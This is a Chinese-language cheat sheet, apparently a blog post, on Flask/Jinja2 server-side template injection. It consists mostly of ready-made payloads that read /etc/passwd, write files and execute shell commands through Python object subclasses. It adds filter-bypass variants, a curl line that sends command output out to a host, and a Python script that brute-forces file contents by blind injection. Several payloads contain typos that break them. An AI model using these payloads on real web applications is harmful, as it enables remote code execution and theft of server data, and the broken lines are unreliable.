Flask/Jiaja2 SSTI
SSTI,又称服务端模板注入攻击。其发生在MVC框架中的view层。
服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题
首先通过str、dict、tuple或list或者jinja2中的对象request获取python的基本类 object:
1 2 3 4 5 ''.__class__.__mro__[2] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[8]
文件操作 object.__subclasses__()[40]
为file类
读文件:
1 object.__subclasses__()[40]('/etc/passwd').read()
写文件:
1 object.__subclasses__()[40]('/tmp').write('test')
命令执行
object.__subclasses__()[59].__init__.func_globals.linecache
下直接有os类
执行命令:
1 object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
1 object.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()
1 object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
object.__subclasses__()[59].__init__.__globals__.__builtins__
下有eval
,__import__
等的全局函数
执行命令:
1 object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import_('os').popen('id').read()")
1 object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os).popen('id').read()")
1 object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os).popen('id').read()
1 object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popn('id').read()
绕过
过滤[]
读文件:
1 ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
执行命令:
1 ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
过滤'
读文件:
1 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
借助request对象
1 {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
执行命令:
1 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
借助request对象
1 {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤__
1 {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
1 2 3 dir(0)[0][0] dir(0)[0][0]*2 dir(0)[0][:2]
过滤.
用getattr
函数
1 2 3 4 5 6 >>> getattr((),"__class__") <type 'tuple'> >>> getattr(getattr((),"__class__"),"__base__") <type 'object'> >>> getattr(getattr((),"__class__"),"__mro__")[1] <type 'object'>
过滤`{{`
用curl将执行结果带出
1 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
1 {% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = 'http://127.0.0.1:8080/' def check (payload) : postdata = { 'exploit' :payload } r = requests.post(url, data=postdata).content return '~p0~' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' for i in xrange(0 ,100 ): for c in s: payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()[' +str(i)+':' +str(i+1 )+'] == "' +c+'" %}~p0~{% endif %}' if check(payload): password += c break print password